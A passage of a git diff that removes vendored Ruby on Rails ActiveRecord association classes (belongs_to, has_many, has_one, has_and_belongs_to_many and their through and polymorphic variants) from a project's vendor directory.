-              record[@reflection.primary_key_name] = @owner.send(primary_key)
-            end
-          end
-        end
-
-        # Merges into +options+ the ones coming from the reflection.
-        def merge_options_from_reflection!(options)
-          options.reverse_merge!(
-            :group   => @reflection.options[:group],
-            :having  => @reflection.options[:having],
-            :limit   => @reflection.options[:limit],
-            :offset  => @reflection.options[:offset],
-            :joins   => @reflection.options[:joins],
-            :include => @reflection.options[:include],
-            :select  => @reflection.options[:select],
-            :readonly  => @reflection.options[:readonly]
-          )
-        end
-
-        # Forwards +with_scope+ to the reflection.
-        def with_scope(*args, &block)
-          @reflection.klass.send :with_scope, *args, &block
-        end
-
-      private
-        # Forwards any missing method call to the \target.
-        def method_missing(method, *args, &block)
-          if load_target
-            if @target.respond_to?(method)
-              @target.send(method, *args, &block)
-            else
-              super
-            end
-          end
-        end
-
-        # Loads the \target if needed and returns it.
-        #
-        # This method is abstract in the sense that it relies on +find_target+,
-        # which is expected to be provided by descendants.
-        #
-        # If the \target is already \loaded it is just returned. Thus, you can call
-        # +load_target+ unconditionally to get the \target.
-        #
-        # ActiveRecord::RecordNotFound is rescued within the method, and it is
-        # not reraised. The proxy is \reset and +nil+ is the return value.
-        def load_target
-          return nil unless defined?(@loaded)
-
-          if !loaded? and (!@owner.new_record? || foreign_key_present)
-            @target = find_target
-          end
-
-          @loaded = true
-          @target
-        rescue ActiveRecord::RecordNotFound
-          reset
-        end
-
-        # Can be overwritten by associations that might have the foreign key
-        # available for an association without having the object itself (and
-        # still being a new record). Currently, only +belongs_to+ presents
-        # this scenario (both vanilla and polymorphic).
-        def foreign_key_present
-          false
-        end
-
-        # Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
-        # the kind of the class of the associated objects. Meant to be used as
-        # a sanity check when you are about to assign an associated record.
-        def raise_on_type_mismatch(record)
-          unless record.is_a?(@reflection.klass) || record.is_a?(@reflection.class_name.constantize)
-            message = "#{@reflection.class_name}(##{@reflection.klass.object_id}) expected, got #{record.class}(##{record.class.object_id})"
-            raise ActiveRecord::AssociationTypeMismatch, message
-          end
-        end
-
-        # Array#flatten has problems with recursive arrays. Going one level
-        # deeper solves the majority of the problems.
-        def flatten_deeper(array)
-          array.collect { |element| (element.respond_to?(:flatten) && !element.is_a?(Hash)) ? element.flatten : element }.flatten
-        end
-
-        # Returns the ID of the owner, quoted if needed.
-        def owner_quoted_id
-          @owner.quoted_id
-        end
-
-        def set_inverse_instance(record, instance)
-          return if record.nil? || !we_can_set_the_inverse_on_this?(record)
-          inverse_relationship = @reflection.inverse_of
-          unless inverse_relationship.nil?
-            record.send(:"set_#{inverse_relationship.name}_target", instance)
-          end
-        end
-
-        # Override in subclasses
-        def we_can_set_the_inverse_on_this?(record)
-          false
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb
deleted file mode 100644
index 3f8b9d2c..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-module ActiveRecord
-  module Associations
-    class BelongsToAssociation < AssociationProxy #:nodoc:
-      def create(attributes = {})
-        replace(@reflection.create_association(attributes))
-      end
-
-      def build(attributes = {})
-        replace(@reflection.build_association(attributes))
-      end
-
-      def replace(record)
-        counter_cache_name = @reflection.counter_cache_column
-
-        if record.nil?
-          if counter_cache_name && !@owner.new_record?
-            @reflection.klass.decrement_counter(counter_cache_name, previous_record_id) if @owner[@reflection.primary_key_name]
-          end
-
-          @target = @owner[@reflection.primary_key_name] = nil
-        else
-          raise_on_type_mismatch(record)
-
-          if counter_cache_name && !@owner.new_record?
-            @reflection.klass.increment_counter(counter_cache_name, record.id)
-            @reflection.klass.decrement_counter(counter_cache_name, @owner[@reflection.primary_key_name]) if @owner[@reflection.primary_key_name]
-          end
-
-          @target = (AssociationProxy === record ? record.target : record)
-          @owner[@reflection.primary_key_name] = record_id(record) unless record.new_record?
-          @updated = true
-        end
-
-        set_inverse_instance(record, @owner)
-
-        loaded
-        record
-      end
-      
-      def updated?
-        @updated
-      end
-      
-      private
-        def find_target
-          find_method = if @reflection.options[:primary_key]
-                          "find_by_#{@reflection.options[:primary_key]}"
-                        else
-                          "find"
-                        end
-          the_target = @reflection.klass.send(find_method,
-            @owner[@reflection.primary_key_name],
-            :select     => @reflection.options[:select],
-            :conditions => conditions,
-            :include    => @reflection.options[:include],
-            :readonly   => @reflection.options[:readonly]
-          ) if @owner[@reflection.primary_key_name]
-          set_inverse_instance(the_target, @owner)
-          the_target
-        end
-
-        def foreign_key_present
-          !@owner[@reflection.primary_key_name].nil?
-        end
-
-        def record_id(record)
-          record.send(@reflection.options[:primary_key] || :id)
-        end
-
-        def previous_record_id
-          @previous_record_id ||= if @reflection.options[:primary_key]
-                                    previous_record = @owner.send(@reflection.name)
-                                    previous_record.nil? ? nil : previous_record.id
-                                  else
-                                    @owner[@reflection.primary_key_name]
-                                  end
-        end
-
-        # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
-        # has_one associations.
-        def we_can_set_the_inverse_on_this?(record)
-          @reflection.has_inverse? && @reflection.inverse_of.macro == :has_one
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
deleted file mode 100644
index f6edd638..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module ActiveRecord
-  module Associations
-    class BelongsToPolymorphicAssociation < AssociationProxy #:nodoc:
-      def replace(record)
-        if record.nil?
-          @target = @owner[@reflection.primary_key_name] = @owner[@reflection.options[:foreign_type]] = nil
-        else
-          @target = (AssociationProxy === record ? record.target : record)
-
-          @owner[@reflection.primary_key_name] = record_id(record)
-          @owner[@reflection.options[:foreign_type]] = record.class.base_class.name.to_s
-
-          @updated = true
-        end
-
-        set_inverse_instance(record, @owner)
-        loaded
-        record
-      end
-
-      def updated?
-        @updated
-      end
-
-      private
-
-        # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
-        # has_one associations.
-        def we_can_set_the_inverse_on_this?(record)
-          if @reflection.has_inverse?
-            inverse_association = @reflection.polymorphic_inverse_of(record.class)
-            inverse_association && inverse_association.macro == :has_one
-          else
-            false
-          end
-        end
-
-        def set_inverse_instance(record, instance)
-          return if record.nil? || !we_can_set_the_inverse_on_this?(record)
-          inverse_relationship = @reflection.polymorphic_inverse_of(record.class)
-          unless inverse_relationship.nil?
-            record.send(:"set_#{inverse_relationship.name}_target", instance)
-          end
-        end
-
-        def find_target
-          return nil if association_class.nil?
-
-          target =
-            if @reflection.options[:conditions]
-              association_class.find(
-                @owner[@reflection.primary_key_name],
-                :select     => @reflection.options[:select],
-                :conditions => conditions,
-                :include    => @reflection.options[:include]
-              )
-            else
-              association_class.find(@owner[@reflection.primary_key_name], :select => @reflection.options[:select], :include => @reflection.options[:include])
-            end
-          set_inverse_instance(target, @owner)
-          target
-        end
-
-        def foreign_key_present
-          !@owner[@reflection.primary_key_name].nil?
-        end
-
-        def record_id(record)
-          record.send(@reflection.options[:primary_key] || :id)
-        end
-
-        def association_class
-          @owner[@reflection.options[:foreign_type]] ? @owner[@reflection.options[:foreign_type]].constantize : nil
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
deleted file mode 100644
index 83a4a8b9..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-module ActiveRecord
-  module Associations
-    class HasAndBelongsToManyAssociation < AssociationCollection #:nodoc:
-      def initialize(owner, reflection)
-        super
-        @primary_key_list = {}
-      end
-
-      def create(attributes = {})
-        create_record(attributes) { |record| insert_record(record) }
-      end
-
-      def create!(attributes = {})
-        create_record(attributes) { |record| insert_record(record, true) }
-      end
-
-      def columns
-        @reflection.columns(@reflection.options[:join_table], "#{@reflection.options[:join_table]} Columns")
-      end
-
-      def reset_column_information
-        @reflection.reset_column_information
-      end
-
-      def has_primary_key?
-        return @has_primary_key unless @has_primary_key.nil?
-        @has_primary_key = (@owner.connection.supports_primary_key? &&
-          @owner.connection.primary_key(@reflection.options[:join_table]))
-      end
-
-      protected
-        def construct_find_options!(options)
-          options[:joins]      = @join_sql
-          options[:readonly]   = finding_with_ambiguous_select?(options[:select] || @reflection.options[:select])
-          options[:select]   ||= (@reflection.options[:select] || '*')
-        end
-        
-        def count_records
-          load_target.size
-        end
-
-        def insert_record(record, force = true, validate = true)
-          if has_primary_key?
-            raise ActiveRecord::ConfigurationError,
-              "Primary key is not allowed in a has_and_belongs_to_many join table (#{@reflection.options[:join_table]})."
-          end
-
-          if record.new_record?
-            if force
-              record.save!
-            else
-              return false unless record.save(validate)
-            end
-          end
-
-          if @reflection.options[:insert_sql]
-            @owner.connection.insert(interpolate_sql(@reflection.options[:insert_sql], record))
-          else
-            attributes = columns.inject({}) do |attrs, column|
-              case column.name.to_s
-                when @reflection.primary_key_name.to_s
-                  attrs[column.name] = owner_quoted_id
-                when @reflection.association_foreign_key.to_s
-                  attrs[column.name] = record.quoted_id
-                else
-                  if record.has_attribute?(column.name)
-                    value = @owner.send(:quote_value, record[column.name], column)
-                    attrs[column.name] = value unless value.nil?
-                  end
-              end
-              attrs
-            end
-
-            sql =
-              "INSERT INTO #{@owner.connection.quote_table_name @reflection.options[:join_table]} (#{@owner.send(:quoted_column_names, attributes).join(', ')}) " +
-              "VALUES (#{attributes.values.join(', ')})"
-
-            @owner.connection.insert(sql)
-          end
-
-          return true
-        end
-
-        def delete_records(records)
-          if sql = @reflection.options[:delete_sql]
-            records.each { |record| @owner.connection.delete(interpolate_sql(sql, record)) }
-          else
-            ids = quoted_record_ids(records)
-            sql = "DELETE FROM #{@owner.connection.quote_table_name @reflection.options[:join_table]} WHERE #{@reflection.primary_key_name} = #{owner_quoted_id} AND #{@reflection.association_foreign_key} IN (#{ids})"
-            @owner.connection.delete(sql)
-          end
-        end
-
-        def construct_sql
-          if @reflection.options[:finder_sql]
-            @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
-          else
-            @finder_sql = "#{@owner.connection.quote_table_name @reflection.options[:join_table]}.#{@reflection.primary_key_name} = #{owner_quoted_id} "
-            @finder_sql << " AND (#{conditions})" if conditions
-          end
-
-          @join_sql = "INNER JOIN #{@owner.connection.quote_table_name @reflection.options[:join_table]} ON #{@reflection.quoted_table_name}.#{@reflection.klass.primary_key} = #{@owner.connection.quote_table_name @reflection.options[:join_table]}.#{@reflection.association_foreign_key}"
-
-          if @reflection.options[:counter_sql]
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          elsif @reflection.options[:finder_sql]
-            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
-            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          else
-            @counter_sql = @finder_sql
-          end
-        end
-
-        def construct_scope
-          { :find => {  :conditions => @finder_sql,
-                        :joins => @join_sql,
-                        :readonly => false,
-                        :order => @reflection.options[:order],
-                        :include => @reflection.options[:include],
-                        :limit => @reflection.options[:limit] } }
-        end
-
-        # Join tables with additional columns on top of the two foreign keys must be considered ambiguous unless a select
-        # clause has been explicitly defined. Otherwise you can get broken records back, if, for example, the join column also has
-        # an id column. This will then overwrite the id column of the records coming back.
-        def finding_with_ambiguous_select?(select_clause)
-          !select_clause && columns.size != 2
-        end
-
-      private
-        def create_record(attributes, &block)
-          # Can't use Base.create because the foreign key may be a protected attribute.
-          ensure_owner_is_not_new
-          if attributes.is_a?(Array)
-            attributes.collect { |attr| create(attr) }
-          else
-            build_record(attributes, &block)
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb
deleted file mode 100644
index 4e113be1..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb
+++ /dev/null
@@ -1,127 +0,0 @@
-module ActiveRecord
-  module Associations
-    # This is the proxy that handles a has many association.
-    #
-    # If the association has a <tt>:through</tt> option further specialization
-    # is provided by its child HasManyThroughAssociation.
-    class HasManyAssociation < AssociationCollection #:nodoc:
-      protected
-        def owner_quoted_id
-          if @reflection.options[:primary_key]
-            quote_value(@owner.send(@reflection.options[:primary_key]))
-          else
-            @owner.quoted_id
-          end
-        end
-
-        # Returns the number of records in this collection.
-        #
-        # If the association has a counter cache it gets that value. Otherwise
-        # it will attempt to do a count via SQL, bounded to <tt>:limit</tt> if
-        # there's one.  Some configuration options like :group make it impossible
-        # to do a SQL count, in those cases the array count will be used.
-        #
-        # That does not depend on whether the collection has already been loaded
-        # or not. The +size+ method is the one that takes the loaded flag into
-        # account and delegates to +count_records+ if needed.
-        #
-        # If the collection is empty the target is set to an empty array and
-        # the loaded flag is set to true as well.
-        def count_records
-          count = if has_cached_counter?
-            @owner.send(:read_attribute, cached_counter_attribute_name)
-          elsif @reflection.options[:counter_sql]
-            @reflection.klass.count_by_sql(@counter_sql)
-          else
-            @reflection.klass.count(:conditions => @counter_sql, :include => @reflection.options[:include])
-          end
-
-          # If there's nothing in the database and @target has no new records
-          # we are certain the current target is an empty array. This is a
-          # documented side-effect of the method that may avoid an extra SELECT.
-          @target ||= [] and loaded if count == 0
-          
-          if @reflection.options[:limit]
-            count = [ @reflection.options[:limit], count ].min
-          end
-          
-          return count
-        end
-
-        def has_cached_counter?
-          @owner.attribute_present?(cached_counter_attribute_name)
-        end
-
-        def cached_counter_attribute_name
-          "#{@reflection.name}_count"
-        end
-
-        def insert_record(record, force = false, validate = true)
-          set_belongs_to_association_for(record)
-          force ? record.save! : record.save(validate)
-        end
-
-        # Deletes the records according to the <tt>:dependent</tt> option.
-        def delete_records(records)
-          case @reflection.options[:dependent]
-            when :destroy
-              records.each { |r| r.destroy }
-            when :delete_all
-              @reflection.klass.delete(records.map { |record| record.id })
-            else
-              ids = quoted_record_ids(records)
-              @reflection.klass.update_all(
-                "#{@reflection.primary_key_name} = NULL", 
-                "#{@reflection.primary_key_name} = #{owner_quoted_id} AND #{@reflection.klass.primary_key} IN (#{ids})"
-              )
-              @owner.class.update_counters(@owner.id, cached_counter_attribute_name => -records.size) if has_cached_counter?
-          end
-        end
-
-        def target_obsolete?
-          false
-        end
-
-        def construct_sql
-          case
-            when @reflection.options[:finder_sql]
-              @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
-
-            when @reflection.options[:as]
-              @finder_sql = 
-                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_id = #{owner_quoted_id} AND " +
-                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_type = #{@owner.class.quote_value(@owner.class.base_class.name.to_s)}"
-              @finder_sql << " AND (#{conditions})" if conditions
-            
-            else
-              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
-              @finder_sql << " AND (#{conditions})" if conditions
-          end
-
-          if @reflection.options[:counter_sql]
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          elsif @reflection.options[:finder_sql]
-            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
-            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          else
-            @counter_sql = @finder_sql
-          end
-        end
-
-        def construct_scope
-          create_scoping = {}
-          set_belongs_to_association_for(create_scoping)
-          {
-            :find => { :conditions => @finder_sql, :readonly => false, :order => @reflection.options[:order], :limit => @reflection.options[:limit], :include => @reflection.options[:include]},
-            :create => create_scoping
-          }
-        end
-
-        def we_can_set_the_inverse_on_this?(record)
-          inverse = @reflection.inverse_of
-          return !inverse.nil?
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb
deleted file mode 100644
index aa4c185f..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ /dev/null
@@ -1,266 +0,0 @@
-module ActiveRecord
-  module Associations
-    class HasManyThroughAssociation < HasManyAssociation #:nodoc:
-      alias_method :new, :build
-
-      def create!(attrs = nil)
-        transaction do
-          self << (object = attrs ? @reflection.klass.send(:with_scope, :create => attrs) { @reflection.create_association! } : @reflection.create_association!)
-          object
-        end
-      end
-
-      def create(attrs = nil)
-        transaction do
-          object = if attrs
-            @reflection.klass.send(:with_scope, :create => attrs) {
-              @reflection.create_association
-            }
-          else
-            @reflection.create_association
-          end
-          raise_on_type_mismatch(object)
-          add_record_to_target_with_callbacks(object) do |r|
-            insert_record(object, false)
-          end
-          object
-        end
-      end
-
-      # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and
-      # calling collection.size if it has. If it's more likely than not that the collection does have a size larger than zero,
-      # and you need to fetch that collection afterwards, it'll take one fewer SELECT query if you use #length.
-      def size
-        return @owner.send(:read_attribute, cached_counter_attribute_name) if has_cached_counter?
-        return @target.size if loaded?
-        return count
-      end
-      
-      protected
-        def target_reflection_has_associated_record?
-          if @reflection.through_reflection.macro == :belongs_to && @owner[@reflection.through_reflection.primary_key_name].blank?
-            false
-          else
-            true
-          end
-        end
-
-        def construct_find_options!(options)
-          options[:select]  = construct_select(options[:select])
-          options[:from]  ||= construct_from
-          options[:joins]   = construct_joins(options[:joins])
-          options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil? && @reflection.source_reflection.options[:include]
-        end
-        
-        def insert_record(record, force = true, validate = true)
-          if record.new_record?
-            if force
-              record.save!
-            else
-              return false unless record.save(validate)
-            end
-          end
-          through_reflection = @reflection.through_reflection
-          klass = through_reflection.klass
-          @owner.send(@reflection.through_reflection.name).proxy_target << klass.send(:with_scope, :create => construct_join_attributes(record)) { through_reflection.create_association! }
-        end
-
-        # TODO - add dependent option support
-        def delete_records(records)
-          klass = @reflection.through_reflection.klass
-          records.each do |associate|
-            klass.delete_all(construct_join_attributes(associate))
-          end
-        end
-
-        def find_target
-          return [] unless target_reflection_has_associated_record?
-          @reflection.klass.find(:all,
-            :select     => construct_select,
-            :conditions => construct_conditions,
-            :from       => construct_from,
-            :joins      => construct_joins,
-            :order      => @reflection.options[:order],
-            :limit      => @reflection.options[:limit],
-            :group      => @reflection.options[:group],
-            :readonly   => @reflection.options[:readonly],
-            :include    => @reflection.options[:include] || @reflection.source_reflection.options[:include]
-          )
-        end
-
-        # Construct attributes for associate pointing to owner.
-        def construct_owner_attributes(reflection)
-          if as = reflection.options[:as]
-            { "#{as}_id" => @owner.id,
-              "#{as}_type" => @owner.class.base_class.name.to_s }
-          else
-            { reflection.primary_key_name => @owner.id }
-          end
-        end
-
-        # Construct attributes for :through pointing to owner and associate.
-        def construct_join_attributes(associate)
-          # TODO: revist this to allow it for deletion, supposing dependent option is supported
-          raise ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(@owner, @reflection) if [:has_one, :has_many].include?(@reflection.source_reflection.macro)
-          join_attributes = construct_owner_attributes(@reflection.through_reflection).merge(@reflection.source_reflection.primary_key_name => associate.id)
-          if @reflection.options[:source_type]
-            join_attributes.merge!(@reflection.source_reflection.options[:foreign_type] => associate.class.base_class.name.to_s)
-          end
-          join_attributes
-        end
-
-        # Associate attributes pointing to owner, quoted.
-        def construct_quoted_owner_attributes(reflection)
-          if as = reflection.options[:as]
-            { "#{as}_id" => owner_quoted_id,
-              "#{as}_type" => reflection.klass.quote_value(
-                @owner.class.base_class.name.to_s,
-                reflection.klass.columns_hash["#{as}_type"]) }
-          elsif reflection.macro == :belongs_to
-            { reflection.klass.primary_key => @owner[reflection.primary_key_name] }
-          else
-            { reflection.primary_key_name => owner_quoted_id }
-          end
-        end
-
-        # Build SQL conditions from attributes, qualified by table name.
-        def construct_conditions
-          table_name = @reflection.through_reflection.quoted_table_name
-          conditions = construct_quoted_owner_attributes(@reflection.through_reflection).map do |attr, value|
-            "#{table_name}.#{attr} = #{value}"
-          end
-          conditions << sql_conditions if sql_conditions
-          "(" + conditions.join(') AND (') + ")"
-        end
-
-        def construct_from
-          @reflection.quoted_table_name
-        end
-
-        def construct_select(custom_select = nil)
-          distinct = "DISTINCT " if @reflection.options[:uniq]
-          selected = custom_select || @reflection.options[:select] || "#{distinct}#{@reflection.quoted_table_name}.*"
-        end
-
-        def construct_joins(custom_joins = nil)
-          polymorphic_join = nil
-          if @reflection.source_reflection.macro == :belongs_to
-            reflection_primary_key = @reflection.klass.primary_key
-            source_primary_key     = @reflection.source_reflection.primary_key_name
-            if @reflection.options[:source_type]
-              polymorphic_join = "AND %s.%s = %s" % [
-                @reflection.through_reflection.quoted_table_name, "#{@reflection.source_reflection.options[:foreign_type]}",
-                @owner.class.quote_value(@reflection.options[:source_type])
-              ]
-            end
-          else
-            reflection_primary_key = @reflection.source_reflection.primary_key_name
-            source_primary_key     = @reflection.through_reflection.klass.primary_key
-            if @reflection.source_reflection.options[:as]
-              polymorphic_join = "AND %s.%s = %s" % [
-                @reflection.quoted_table_name, "#{@reflection.source_reflection.options[:as]}_type",
-                @owner.class.quote_value(@reflection.through_reflection.klass.name)
-              ]
-            end
-          end
-
-          "INNER JOIN %s ON %s.%s = %s.%s %s #{@reflection.options[:joins]} #{custom_joins}" % [
-            @reflection.through_reflection.quoted_table_name,
-            @reflection.quoted_table_name, reflection_primary_key,
-            @reflection.through_reflection.quoted_table_name, source_primary_key,
-            polymorphic_join
-          ]
-        end
-
-        def construct_scope
-          { :create => construct_owner_attributes(@reflection),
-            :find   => { :from        => construct_from,
-                         :conditions  => construct_conditions,
-                         :joins       => construct_joins,
-                         :include     => @reflection.options[:include],
-                         :select      => construct_select,
-                         :order       => @reflection.options[:order],
-                         :limit       => @reflection.options[:limit],
-                         :readonly    => @reflection.options[:readonly],
-             } }
-        end
-
-        def construct_sql
-          case
-            when @reflection.options[:finder_sql]
-              @finder_sql = interpolate_sql(@reflection.options[:finder_sql])
-
-              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
-              @finder_sql << " AND (#{conditions})" if conditions
-            else
-              @finder_sql = construct_conditions
-          end
-
-          if @reflection.options[:counter_sql]
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          elsif @reflection.options[:finder_sql]
-            # replace the SELECT clause with COUNT(*), preserving any hints within /* ... */
-            @reflection.options[:counter_sql] = @reflection.options[:finder_sql].sub(/SELECT (\/\*.*?\*\/ )?(.*)\bFROM\b/im) { "SELECT #{$1}COUNT(*) FROM" }
-            @counter_sql = interpolate_sql(@reflection.options[:counter_sql])
-          else
-            @counter_sql = @finder_sql
-          end
-        end
-
-        def conditions
-          @conditions = build_conditions unless defined?(@conditions)
-          @conditions
-        end
-
-        def build_conditions
-          association_conditions = @reflection.options[:conditions]
-          through_conditions = build_through_conditions
-          source_conditions = @reflection.source_reflection.options[:conditions]
-          uses_sti = !@reflection.through_reflection.klass.descends_from_active_record?
-
-          if association_conditions || through_conditions || source_conditions || uses_sti
-            all = []
-
-            [association_conditions, source_conditions].each do |conditions|
-              all << interpolate_sql(sanitize_sql(conditions)) if conditions
-            end
-
-            all << through_conditions  if through_conditions
-            all << build_sti_condition if uses_sti
-
-            all.map { |sql| "(#{sql})" } * ' AND '
-          end
-        end
-
-        def build_through_conditions
-          conditions = @reflection.through_reflection.options[:conditions]
-          if conditions.is_a?(Hash)
-            interpolate_sql(sanitize_sql(conditions)).gsub(
-              @reflection.quoted_table_name,
-              @reflection.through_reflection.quoted_table_name)
-          elsif conditions
-            interpolate_sql(sanitize_sql(conditions))
-          end
-        end
-        
-        def build_sti_condition
-          @reflection.through_reflection.klass.send(:type_condition)
-        end
-
-        alias_method :sql_conditions, :conditions
-
-        def has_cached_counter?
-          @owner.attribute_present?(cached_counter_attribute_name)
-        end
-
-        def cached_counter_attribute_name
-          "#{@reflection.name}_count"
-        end
-
-        # NOTE - not sure that we can actually cope with inverses here
-        def we_can_set_the_inverse_on_this?(record)
-          false
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb
deleted file mode 100644
index b504e052..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/has_one_association.rb
+++ /dev/null
@@ -1,142 +0,0 @@
-module ActiveRecord
-  module Associations
-    class HasOneAssociation < BelongsToAssociation #:nodoc:
-      def initialize(owner, reflection)
-        super
-        construct_sql
-      end
-
-      def create(attrs = {}, replace_existing = true)
-        new_record(replace_existing) do |reflection|
-          attrs = merge_with_conditions(attrs)
-          reflection.create_association(attrs)
-        end
-      end
-
-      def create!(attrs = {}, replace_existing = true)
-        new_record(replace_existing) do |reflection|
-          attrs = merge_with_conditions(attrs)
-          reflection.create_association!(attrs)
-        end
-      end
-
-      def build(attrs = {}, replace_existing = true)
-        new_record(replace_existing) do |reflection|
-          attrs = merge_with_conditions(attrs)
-          reflection.build_association(attrs)
-        end
-      end
-
-      def replace(obj, dont_save = false)
-        load_target
-
-        unless @target.nil? || @target == obj
-          if dependent? && !dont_save
-            case @reflection.options[:dependent]
-            when :delete
-              @target.delete unless @target.new_record?
-              @owner.clear_association_cache
-            when :destroy
-              @target.destroy unless @target.new_record?
-              @owner.clear_association_cache
-            when :nullify
-              @target[@reflection.primary_key_name] = nil
-              @target.save unless @owner.new_record? || @target.new_record?
-            end
-          else
-            @target[@reflection.primary_key_name] = nil
-            @target.save unless @owner.new_record? || @target.new_record?
-          end
-        end
-
-        if obj.nil?
-          @target = nil
-        else
-          raise_on_type_mismatch(obj)
-          set_belongs_to_association_for(obj)
-          @target = (AssociationProxy === obj ? obj.target : obj)
-        end
-
-        set_inverse_instance(obj, @owner)
-        @loaded = true
-
-        unless @owner.new_record? or obj.nil? or dont_save
-          return (obj.save ? self : false)
-        else
-          return (obj.nil? ? nil : self)
-        end
-      end
-
-      protected
-        def owner_quoted_id
-          if @reflection.options[:primary_key]
-            @owner.class.quote_value(@owner.send(@reflection.options[:primary_key]))
-          else
-            @owner.quoted_id
-          end
-        end
-
-      private
-        def find_target
-          the_target = @reflection.klass.find(:first,
-            :conditions => @finder_sql,
-            :select     => @reflection.options[:select],
-            :order      => @reflection.options[:order], 
-            :include    => @reflection.options[:include],
-            :readonly   => @reflection.options[:readonly]
-          )
-          set_inverse_instance(the_target, @owner)
-          the_target
-        end
-
-        def construct_sql
-          case
-            when @reflection.options[:as]
-              @finder_sql = 
-                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_id = #{owner_quoted_id} AND " +
-                "#{@reflection.quoted_table_name}.#{@reflection.options[:as]}_type = #{@owner.class.quote_value(@owner.class.base_class.name.to_s)}"
-            else
-              @finder_sql = "#{@reflection.quoted_table_name}.#{@reflection.primary_key_name} = #{owner_quoted_id}"
-          end
-          @finder_sql << " AND (#{conditions})" if conditions
-        end
-        
-        def construct_scope
-          create_scoping = {}
-          set_belongs_to_association_for(create_scoping)
-          { :create => create_scoping }
-        end
-
-        def new_record(replace_existing)
-          # Make sure we load the target first, if we plan on replacing the existing
-          # instance. Otherwise, if the target has not previously been loaded
-          # elsewhere, the instance we create will get orphaned.
-          load_target if replace_existing
-          record = @reflection.klass.send(:with_scope, :create => construct_scope[:create]) do
-            yield @reflection
-          end
-
-          if replace_existing
-            replace(record, true) 
-          else
-            record[@reflection.primary_key_name] = @owner.id unless @owner.new_record?
-            self.target = record
-            set_inverse_instance(record, @owner)
-          end
-
-          record
-        end
-
-        def merge_with_conditions(attrs={})
-          attrs ||= {}
-          attrs.update(@reflection.options[:conditions]) if @reflection.options[:conditions].is_a?(Hash)
-          attrs
-        end
-
-        def we_can_set_the_inverse_on_this?(record)
-          inverse = @reflection.inverse_of
-          return !inverse.nil?
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb
deleted file mode 100644
index d8bcf76a..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations/has_one_through_association.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-module ActiveRecord
-  module Associations
-    class HasOneThroughAssociation < HasManyThroughAssociation
-
-      def create_through_record(new_value) #nodoc:
-        klass = @reflection.through_reflection.klass
-
-        current_object = @owner.send(@reflection.through_reflection.name)
-
-        if current_object
-          new_value ? current_object.update_attributes(construct_join_attributes(new_value)) : current_object.destroy
-        elsif new_value
-          if @owner.new_record?
-            self.target = new_value
-            through_association = @owner.send(:association_instance_get, @reflection.through_reflection.name)
-            through_association.build(construct_join_attributes(new_value))
-          else
-            @owner.send(@reflection.through_reflection.name, klass.create(construct_join_attributes(new_value)))
-          end
-        end
-      end
-
-    private
-      def find(*args)
-        super(args.merge(:limit => 1))
-      end
-
-      def find_target
-        super.first
-      end
-
-      def reset_target!
-        @target = nil
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb b/vendor/rails/activerecord/lib/active_record/attribute_methods.rb
deleted file mode 100644
index 22630b3e..00000000
--- a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb
+++ /dev/null
